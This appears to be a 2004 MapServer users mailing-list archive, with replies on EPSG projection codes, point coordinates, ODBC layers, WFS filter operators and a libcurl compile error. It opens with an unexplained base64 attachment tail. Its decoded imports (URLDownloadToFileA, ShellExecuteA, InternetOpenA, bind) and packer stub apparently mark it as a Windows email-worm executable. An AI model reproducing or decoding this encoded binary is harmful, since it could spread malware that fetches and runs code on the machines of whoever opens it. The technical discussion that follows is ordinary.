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 YekEbP//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAMAAAAgAACADgAAAGAAAIAAAAAA AAAAAAAAAAAAAAEAAQAAADgAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAFAAAACk8AAA6AIAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAABAAEAAAB4AACAAAAAAAAAAAAAAAAAAAABAAAAAACQAAAA kPMAABQAAAAAAAAAAAAAAKDAAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A /wAAAP8A/wD//wAA////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3 d3d3AAAAAAAAAAAAB4iIiIiIhwAAAAAAAAAAAAc4iDM4iDcAAAAAAAAAAAAHs4MAA4OHAAAA AAAAAAAAB/8w/7A4hwAAAAAAAAAAAAe4D7//A4cAAAAAAAAAAAAHgL//v/A3AAAAAAAAAAAA Bw//v/+/AwAAAAAAAAAAAAf/v/+//7AAAAAAAAAAAAAHd3d3d3d3AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//////////////// //////////////////////////////////////////////////////////////////////// ////////gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//////// //////////+IwwAAAAABAAEAICAQAAEABADoAgAAAQAAAAAAAAAAAAAAAADY9AAAgPQAAAAA AAAAAAAAAAAAAOX0AACQ9AAAAAAAAAAAAAAAAAAA8vQAAJj0AAAAAAAAAAAAAAAAAAD89AAA oPQAAAAAAAAAAAAAAAAAAAb1AACo9AAAAAAAAAAAAAAAAAAAEvUAALD0AAAAAAAAAAAAAAAA AAAe9QAAuPQAAAAAAAAAAAAAAAAAACn1AADA9AAAAAAAAAAAAAAAAAAANPUAAMj0AAAAAAAA AAAAAAAAAABA9QAA0PQAAAAAAAAAAAAAAAAAAAAAAAAAAAAATPUAAFr1AABq9QAAAAAAAHj1 AAAAAAAAhvUAAAAAAACQ9QAAAAAAAJ71AAAAAAAArvUAAAAAAAC49QAAAAAAAMz1AAAAAAAA 2PUAAAAAAADo9QAAAAAAAEtFUk5FTDMyLkRMTABhZHZhcGkzMi5kbGwAZ2RpMzIuZGxsAG9s ZTMyLmRsbABTSEVMTDMyLmRsbABzaGx3YXBpLmRsbAB1cmxtb24uZGxsAHVzZXIzMi5kbGwA d2luaW5ldC5kbGwAd3NvY2szMi5kbGwAAABMb2FkTGlicmFyeUEAAEdldFByb2NBZGRyZXNz AABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3NlS2V5AAAARGVsZXRlREMAAENvSW5pdGlhbGl6ZQAA U2hlbGxFeGVjdXRlQQAAAFN0ckR1cEEAAABVUkxEb3dubG9hZFRvRmlsZUEAAHdzcHJpbnRm QQAAAEludGVybmV0T3BlbkEAAABiaW5kAAAAAAAAAAAAAAAAAAAAAAAADwiwdSM5fhI9cVsJ cLhmR3E/UCcjBqeRj4u9gGxEUnW8fcSwhWQJEosRkbMHr3wYLzmBdFe1crYSDTmxIoxlOUTE foWmYB+Xlwp8vpA9TI9Bww+2jFB5L6F1X8BlfGOcbEQDCD+DWzG7P62CNg9xY1IhUMLErr0Q pLM+IqBTewI4aSF7JUAqdWpTQHA0x8NPCkdJCMW2gJ2nMxF0DxY3szFSAG27A7y4HrIjk4dd CJNJF1+JwDVUNzJGH2m9m76eibeGGle7Xg5gHAK1vl+qiSHHoiDFfA14NKRfDw55DJooaUm1 TrYTMhA/KIZUTyyYk19mA4QDDzZKkjyhozQgx0ITZFlIboAlQh6ygm5RkzW+g4ZaOq8AFYyi DTmGUxpzRHQ/JpOQqyiZFT80wBOGL7PFQ5YVYgM0xSGqs2RiP0pOTTylxSg0QsCuuC23hJeU wmVTjmZ8dL1yXJHHZrq2EKejZKwxgzpfBll9wn2Ywy8avFxaVLIkWbrGrJEGMCmTM07GB0KF viO3NpJ8G41/Y68mXYaBoH94S0qnbFufmaa/ZlacZxtNRsZAFY8kIm8wchQgSbmhjD5VvVW2 ES6/j5DAL2y8sJZnryc8IRo7tnQ4IWRzhkUCokQHPT1Ncm13EEg9fD4/wbZ/t1a5a30Plni4 EIVJhj9VXsZ2WyPAT1+xUyZOt7oPvmyALhsCUCcBsUUerlZvS1Vft6hEkE0vPaYNVUcyPE5Y p6w6OJ0vf7aIXMZGqGmJC2uKf32JlxzFjmlFf7QXab8AAEN0HZGBZE0jFBxrcno8bwliD0PA gxKneIYXXDKHZLW8diFZXQxzpSuDVx9DSYG5fWO6UQhfpVM8sDgfVxmvapSpC1o7tKQZvV5Q xXqrZGMUtWASxo2OdTRcTm9eIgIRt7iSrrYtkzo4UmmslL8HNImAn2SIQ6JZAYWsqYAPUDS8 lXSZXyAiJTsfeXhGGWhzIIiFXquPBzpHM5lpSb4idiKoJXcgVpieeRoCbItVdD+imx4xumQQ h0zHvySpgsQHu8E/rqZvDw80l3+pasCjIoe2rTPFdrIQWrKfE29oKa3HlEgtG3FHOLKEo2aB MbwUPTlTFQjACHM0XHxNwsc1RGtAwTo0f3mkEQJqkJ9SfIRTkR8sHDw+WYFuaSGCa5oCDaEK QyY0XGhcGhapVhBKk2Vaxr9MsGPAeYlqwpQdGxdYAxi4KTaCP3KMTFoGISVccgehkL59tI8Y e0W9hhNcohQlCi+zsouJDjBtLSOOPoNeD08QmpBZC6mrwjsCxZR7LVmTxDOvngu2ORGCJVZs MoB5DbBoaH5PRKcIkUBdF5t/uKM5T13HHjGYTXxufrZ6tRsFt2sGJxNlRDOJQjA5Wzp4vYy2 jZlGhi+CRGyrtkpyrGKnfwBKeV0wpwciLl5fHiwpBLuig1CxqSkSYwt0DpK+q1KUTY+0C6dc p65gp2ErX7KwwaJOgT5JewEKQE1ianhLlmF6N5mZlD6tXFYNcDFIt0mZVIVSDzmZSRuIxAdo b5dVMRs+jB4Snj+AMCkUEAlpfwVbKUtNnwxhwsaLUZx1FCucpVs6eAoicyu0JASvMoACJR5u VXZwUn5STp52WksKqgQqhT17P2w3TxpdG560wxsExjk8XzkUgLWWP1qKZnpRIMUwuAspc0gj XUhaJQGkGoMXF4ksnkGTxgsAeaifUlASQgSYj4+kVUa0RptHxxrGtgC3b3ZrZ3t4GTM/pg40 L1CTxg53K1E= ----------idxhbldkxitqlmzpwcgn-- From Tom.Kralidis at ec.gc.ca Wed Jun 2 05:41:19 2004 From: Tom.Kralidis at ec.gc.ca (Kralidis,Tom [Burlington]) Date: Wed, 2 Jun 2004 08:41:19 -0400 Subject: [Mapserver-users] EPSG codes Message-ID: <2576812186CDD411BF1500508B6DCE9507366EC9@ecnwri1.ontario.int.ec.gc.ca> > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of > Delfos, Jacob > Sent: Wednesday, June 02, 2004 12:28 AM > To: mapserver-users > Subject: RE: [Mapserver-users] EPSG codes > > > Daniel, > > What would be the correct way of requesting an entry to be > added to the official EPSG? I tried to find out, but I > haven't been able to find a person in charge of that. > You may want to check with http://www.epsg.org/. Having said this, I believe CubeWerx has reserved the 42xxx block of EPSG codes, of which 42304 is one of them. ..Tom > Jacob > > > -----Original Message----- > From: Daniel Morissette [mailto:dmorissette at dmsolutions.ca] > Sent: Wednesday, 2 June 2004 12:12 PM > To: Zamil Murji > Cc: mapserver-users > Subject: Re: [Mapserver-users] EPSG codes > > > Zamil Murji wrote: > > Hello list, > > > > I am very new to epsg codes and I'm having some difficulty > finding the > > correct code to use. Currently I am using a 4269 to show all of > > canada, however, this makes everything look so > disproportionate. I am > > looking to use the lambert conical or lambert cylindrical > codes, but I > > can't find them anywhere. Ideally I would like to use the same > > projection as the gmap application on the dmsolutions website. > > > > There is no LCC for Canada as part of the official EPSG list, but > several sites recognize the unofficial code "EPSG:42304": > > ## NAD83 LCC for Canada > <42304> +proj=lcc +ellps=GRS80 +lat_0=49 +lon_0=-95 +lat_1=49 > +lat_2=77 > +datum=NAD83 +units=m no_defs <> > > If you want to use this code with MapServer then you'll have > to add the > line above to your PROJ4 "epsg" file, or download the > following patched > version: > http://maptools.org/dl/proj4-epsg-with-42xxx.zip Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From PAGUREKD at AGR.GC.CA Wed Jun 2 07:06:54 2004 From: PAGUREKD at AGR.GC.CA (Pagurek, Debbie) Date: Wed, 2 Jun 2004 10:06:54 -0400 Subject: [Mapserver-users] Virtual Spatial Data - projection Message-ID: You have the negative in the wrong place. e.g. Chicago should be 41.5 -87.2 Debbie -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Jenu Abraham Sent: Tuesday, June 01, 2004 4:12 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Virtual Spatial Data - projection guys... i have been trying to plot points on a US map using latlong cordinates from my SQL table using virtual spatial data ogrinfo gave the correct output..with testing2.ovf eg: -35.5 97.4 oklahomaq city -41.5 87.2 chicago i can see the states layer but i dont see any points on my map..from the truck layer why? is something wrong in the projection ------------------------ MAP NAME e-test-rd-jbox-vsd_ IMAGETYPE GIF EXTENT -2236857.50 -1744057.00 2786329.50 29069.36 SIZE 800 600 SHAPEPATH "C:\cgi-bin\data\" FONTSET "C:\cgi-bin\fonts\fonts.list" WEB TEMPLATE 'e-test-rd-jbox.html' IMAGEPATH 'C:\cgi-bin\tmp\' IMAGEURL '/tmp/' END PROJECTION "init=epsg:2163" END LAYER # States polygon layer begins here NAME states DATA statesp020 STATUS DEFAULT TYPE POLYGON PROJECTION "init=epsg:4326" END CLASS COLOR 240 240 100 END END # States polygon layer ends here LAYER # start of truck position from database NAME trucks TYPE POINT CONNECTIONTYPE OGR CONNECTION "testing2.ovf" DATA "mylayer" STATUS DEFAULT PROJECTION "proj=latlong" END CLASS SYMBOL 1 SIZE 6 COLOR 255 0 0 END END # end of connection layer # End of LAYER DEFINITIONS END # end of map file _________________________________________________________________ Stop worrying about overloading your inbox - get MSN Hotmail Extra Storage! http://join.msn.click-url.com/go/onm00200362ave/direct/01/ _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From zak-ms at hoppsan.org Wed Jun 2 07:50:38 2004 From: zak-ms at hoppsan.org (Zak James) Date: Wed, 2 Jun 2004 10:50:38 -0400 Subject: [Mapserver-users] No Map Appear via ODBC In-Reply-To: <00a901c44a0f$56d0dcf0$3701010a@kalpin> References: <004a01c449fe$ea952420$3701010a@kalpin> <00a901c44a0f$56d0dcf0$3701010a@kalpin> Message-ID: <35F5E280-B4A4-11D8-A6F4-000D933576F4@hoppsan.org> What is the nature of the data in your MSQL table? I think you may need to use ogr's virtual driver. See http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?VirtualSpatialData zak -- Zak James Applications and Software Development DM Solutions Group Inc. http://www.dmsolutions.ca On Jun 4, 2004, at 4:38 AM, Kalpin Erlangga Silaen wrote: > Dear all, > > I created LAYER like this : > > LAYER > NAME indo_wells > TYPE POINT > CONNECTIONTYPE OGR > CONNECTION "ODBC:sa/kalpin at MSQL" > DATA "SELECT * FROM TbWell" > STATUS ON > CLASS > NAME 'WELLS' > MAXSCALE 2000000 > SYMBOL 'circle' > OUTLINECOLOR 128 128 128 > SIZE 10 > TEMPLATE "indo_wells.html" > END > HEADER "indo_wells_header.html" > FOOTER "indo_wells_footer.html" > TOLERANCE 5 > METADATA > WMS_TITLE "Wells" > WMS_ABSTRACT "Wells data for Indonesia region." > WMS_SRS "EPSG:26915" > END > END > > But, No map appear at my browser. I think I make mistake with SQL > command ? It's seem unsuccessfull query the data. > > I have table TbWell at my MSSQL. > > > Anyone can help me please. > > > > Best regards, > > > > Kalpin Erlangga Silaen From bartvde at xs4all.nl Wed Jun 2 07:59:27 2004 From: bartvde at xs4all.nl (bartvde at xs4all.nl) Date: Wed, 2 Jun 2004 16:59:27 +0200 (CEST) Subject: [Mapserver-users] wfs doubt In-Reply-To: <20040602144310.30425.qmail@maboque.srv.clix.pt> References: <20040602144310.30425.qmail@maboque.srv.clix.pt> Message-ID: <17602.212.238.227.182.1086188367.squirrel@webmail.xs4all.nl> Hi Cristina, I had a lot out trouble getting to read your HTML e-mail, but anyway got it figured out ... I would suggest upgrading to Mapserver 4.2 as a lot of Filters have been added. I don't think the 4.0.1 version supports the Within spatial operator (AFAIK only the BBOX spatial filter was supported in that version). BTW: there is a small error in the current WFS capabilities (Daniel, Assefa): should be Best regards, Bart --- Hi, I?m using Mapserver 4.0.1. I?m trying to filter some properties... but I get all! ...map=../htdocs/edesta/wfsVersion.map&service=wfs&version=1.0.0&request=getFeature&typename=cities&FILTER=cities/NAME even if I want to limit the number of features returned with the following, I get all features available! ...map=../htdocs/edesta/wfsVersion.map&service=wfs&version=1.0.0&request=getFeature&typename=cities&maxfeatures=2 From bartvde at xs4all.nl Wed Jun 2 08:04:03 2004 From: bartvde at xs4all.nl (bartvde at xs4all.nl) Date: Wed, 2 Jun 2004 17:04:03 +0200 (CEST) Subject: [Mapserver-users] wfs doubt [2] In-Reply-To: <17602.212.238.227.182.1086188368.squirrel@webmail.xs4all.nl> References: <20040602144310.30425.qmail@maboque.srv.clix.pt> <17602.212.238.227.182.1086188368.squirrel@webmail.xs4all.nl> Message-ID: <12866.212.238.227.182.1086188643.squirrel@webmail.xs4all.nl> Hi Cristina, BTW your Filter does not make any sense. cities/NAME Within is a spatial filter and should always have a gml:Box element inside. You cannot perform a Within filter on a non-spatial column like NAME in your example. Best regards, Bart > Hi Cristina, > > I had a lot out trouble getting to read your HTML e-mail, but anyway got > it figured out ... > > I would suggest upgrading to Mapserver 4.2 as a lot of Filters have been > added. > > I don't think the 4.0.1 version supports the Within spatial operator > (AFAIK only the BBOX spatial filter was supported in that version). > > BTW: there is a small error in the current WFS capabilities (Daniel, > Assefa): > > > > should be > > > > Best regards, > Bart > > --- > Hi, > > I?m using Mapserver 4.0.1. > > I?m trying to filter some properties... but I get all! > > ...map=../htdocs/edesta/wfsVersion.map&service=wfs&version=1.0.0&request=getFeature&typename=cities&FILTER=cities/NAME > > even if I want to limit the number of features returned with the > following, I get all features available! > > ...map=../htdocs/edesta/wfsVersion.map&service=wfs&version=1.0.0&request=getFeature&typename=cities&maxfeatures=2 > > > From Tom.Kralidis at ec.gc.ca Wed Jun 2 08:17:05 2004 From: Tom.Kralidis at ec.gc.ca (Kralidis,Tom [Burlington]) Date: Wed, 2 Jun 2004 11:17:05 -0400 Subject: [Mapserver-users] wfs doubt Message-ID: <2576812186CDD411BF1500508B6DCE9507366EDB@ecnwri1.ontario.int.ec.gc.ca> > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of > bartvde at xs4all.nl > Sent: Wednesday, June 02, 2004 10:59 AM > To: cristinanoversa at clix.pt > Cc: mapserver-users at lists.gis.umn.edu > Subject: Re: Re: [Mapserver-users] wfs doubt > > > Hi Cristina, > > I had a lot out trouble getting to read your HTML e-mail, but > anyway got it figured out ... > > I would suggest upgrading to Mapserver 4.2 as a lot of > Filters have been added. > > I don't think the 4.0.1 version supports the Within spatial > operator (AFAIK only the BBOX spatial filter was supported in > that version). > > BTW: there is a small error in the current WFS capabilities > (Daniel, Assefa): > > > > should be > > > Is this to say that MapServer's functionality should be expressed as ogc:Within, or that the capabilities is wrong (I'm guessing the former) -- both are supported in the WFS specification. ..Tom > Best regards, > Bart > > --- > Hi, > > I?m using Mapserver 4.0.1. > > I?m trying to filter some properties... but I get all! > > ...map=../htdocs/edesta/wfsVersion.map&service=wfs&version=1.0 > .0&request=getFeature&typename=cities&FILTER=< > PropertyName>cities/NAME > > even if I want to limit the number of features returned with > the following, I get all features available! > > ...map=../htdocs/edesta/wfsVersion.map&service=wfs&version=1.0 > .0&request=getFeature&typename=cities&maxfeatures=2 > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users > From bartvde at xs4all.nl Wed Jun 2 08:25:27 2004 From: bartvde at xs4all.nl (bartvde at xs4all.nl) Date: Wed, 2 Jun 2004 17:25:27 +0200 (CEST) Subject: [Mapserver-users] wfs doubt In-Reply-To: <2576812186CDD411BF1500508B6DCE9507366EDB@ecnwri1.ontario.int.ec.gc.ca > References: <2576812186CDD411BF1500508B6DCE9507366EDB@ecnwri1.ontario.int.ec.gc.ca> Message-ID: <16657.212.238.227.182.1086189927.squirrel@webmail.xs4all.nl> My mistake, I was searching for the DWithin operator in the Filter spec, but not finding it. Turns out that I was looking at the Filter 0.0.7 specification. I should clean up those old versions from my hard disk .... Sorry for the confusion. Best regards, Bart > > >> -----Original Message----- >> From: mapserver-users-admin at lists.gis.umn.edu >> [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of >> bartvde at xs4all.nl >> Sent: Wednesday, June 02, 2004 10:59 AM >> To: cristinanoversa at clix.pt >> Cc: mapserver-users at lists.gis.umn.edu >> Subject: Re: Re: [Mapserver-users] wfs doubt >> >> >> Hi Cristina, >> >> I had a lot out trouble getting to read your HTML e-mail, but >> anyway got it figured out ... >> >> I would suggest upgrading to Mapserver 4.2 as a lot of >> Filters have been added. >> >> I don't think the 4.0.1 version supports the Within spatial >> operator (AFAIK only the BBOX spatial filter was supported in >> that version). >> >> BTW: there is a small error in the current WFS capabilities >> (Daniel, Assefa): >> >> >> >> should be >> >> >> > > Is this to say that MapServer's functionality should be expressed as > ogc:Within, or that the capabilities is wrong (I'm guessing the former) -- > both are supported in the WFS specification. > > ..Tom > > >> Best regards, >> Bart >> >> --- >> Hi, >> >> I?m using Mapserver 4.0.1. >> >> I?m trying to filter some properties... but I get all! >> >> ...map=../htdocs/edesta/wfsVersion.map&service=wfs&version=1.0 >> .0&request=getFeature&typename=cities&FILTER=< >> PropertyName>cities/NAME >> >> even if I want to limit the number of features returned with >> the following, I get all features available! >> >> ...map=../htdocs/edesta/wfsVersion.map&service=wfs&version=1.0 >> .0&request=getFeature&typename=cities&maxfeatures=2 >> >> >> _______________________________________________ >> Mapserver-users mailing list >> Mapserver-users at lists.gis.umn.edu >> http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users >> > > From moeller at basis5.de Wed Jun 2 08:37:47 2004 From: moeller at basis5.de (=?ISO-8859-1?Q?Lars_M=F6ller?=) Date: Wed, 02 Jun 2004 17:37:47 +0200 Subject: [Mapserver-users] problems with curl Message-ID: <40BDF44B.4050200@basis5.de> hi, I have a problem with make. I start with this configure: ./configure --with-proj=/usr/local/ --with-gdal=/usr/local/bin/gdal-config --with-ogr=/usr/local/bin/gdal-config --disable-ignore-missing-data --with-wmsclient --with-wfsclient --with-ttf=/usr all is fine after that: configure: checking for curl-config... checking for curl-config... /usr/local/bin/curl-config found libcurl version 7.12.0 OGC WMS Client Connections enabled (-DUSE_WMS_LYR). OGC WFS Client Connections enabled (-DUSE_WFS_LYR). configure: checking HTTPD server (Apache) version... with make I get errors: maphttp.c: In function `msHTTPExecuteRequests': maphttp.c:244: `CURLM' undeclared (first use in this function) maphttp.c:244: (Each undeclared identifier is reported only once maphttp.c:244: for each function it appears in.) maphttp.c:244: `multi_handle' undeclared (first use in this function) maphttp.c:244: warning: statement with no effect maphttp.c:245: `CURLMsg' undeclared (first use in this function) maphttp.c:245: `curl_msg' undeclared (first use in this function) maphttp.c:245: warning: statement with no effect maphttp.c:246: parse error before `char' maphttp.c:268: warning: implicit declaration of function `curl_multi_init' maphttp.c:293: `debug' undeclared (first use in this function) maphttp.c:357: `CURLOPT_WRITEDATA' undeclared (first use in this function) maphttp.c:371: warning: implicit declaration of function `curl_multi_add_handle' maphttp.c:381: `CURLM_CALL_MULTI_PERFORM' undeclared (first use in this function) maphttp.c:382: warning: implicit declaration of function `curl_multi_perform' maphttp.c:403: warning: implicit declaration of function `curl_multi_fdset' maphttp.c:435: warning: implicit declaration of function `curl_multi_info_read' maphttp.c:439: `CURLMSG_DONE' undeclared (first use in this function) maphttp.c:549: warning: implicit declaration of function `curl_multi_remove_handle' maphttp.c:556: warning: implicit declaration of function `curl_multi_cleanup' make: *** [maphttp.o] Error 1 what happend? could it be that I have two version one older and one newer? how can I solve teh problem. all the best lars m?ller From assefa at dmsolutions.ca Wed Jun 2 08:40:38 2004 From: assefa at dmsolutions.ca (Yewondwossen Assefa) Date: Wed, 02 Jun 2004 11:40:38 -0400 Subject: [Mapserver-users] wfs doubt In-Reply-To: <2576812186CDD411BF1500508B6DCE9507366EDB@ecnwri1.ontario.int.ec.gc.ca> References: <2576812186CDD411BF1500508B6DCE9507366EDB@ecnwri1.ontario.int.ec.gc.ca> Message-ID: <40BDF4F6.5030104@dmsolutions.ca> The capabilities are correct, the DWithin is the one that is supported. The Within is not supported right now. The diffrence between the 2 is the Within can use either a gml:Geometry or a gml:Box but the DWithin is only using the gml:Geometry. The parsing of a gml bbox is not included in that part of the code although It will be a minor effort to do that. I have entered a bug im mapserver (Bug 712) so that the Within will be added in tyhe next release. Later, Kralidis,Tom [Burlington] wrote: > >>-----Original Message----- >>From: mapserver-users-admin at lists.gis.umn.edu >>[mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of >>bartvde at xs4all.nl >>Sent: Wednesday, June 02, 2004 10:59 AM >>To: cristinanoversa at clix.pt >>Cc: mapserver-users at lists.gis.umn.edu >>Subject: Re: Re: [Mapserver-users] wfs doubt >> >> >>Hi Cristina, >> >>I had a lot out trouble getting to read your HTML e-mail, but >>anyway got it figured out ... >> >>I would suggest upgrading to Mapserver 4.2 as a lot of >>Filters have been added. >> >>I don't think the 4.0.1 version supports the Within spatial >>operator (AFAIK only the BBOX spatial filter was supported in >>that version). >> >>BTW: there is a small error in the current WFS capabilities >>(Daniel, Assefa): >> >> >> >>should be >> >> >> > > Is this to say that MapServer's functionality should be expressed as ogc:Within, or that the capabilities is wrong (I'm guessing the former) -- both are supported in the WFS specification. > > ..Tom > > > >>Best regards, >>Bart >> >>--- >>Hi, >> >>I?m using Mapserver 4.0.1. >> >>I?m trying to filter some properties... but I get all! >> >>...map=../htdocs/edesta/wfsVersion.map&service=wfs&version=1.0 >>.0&request=getFeature&typename=cities&FILTER=< >>PropertyName>cities/NAME >> >>even if I want to limit the number of features returned with >>the following, I get all features available! >> >>...map=../htdocs/edesta/wfsVersion.map&service=wfs&version=1.0 >>.0&request=getFeature&typename=cities&maxfeatures=2 >> >> >>_______________________________________________ >>Mapserver-users mailing list >>Mapserver-users at lists.gis.umn.edu >>http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users >> > > > 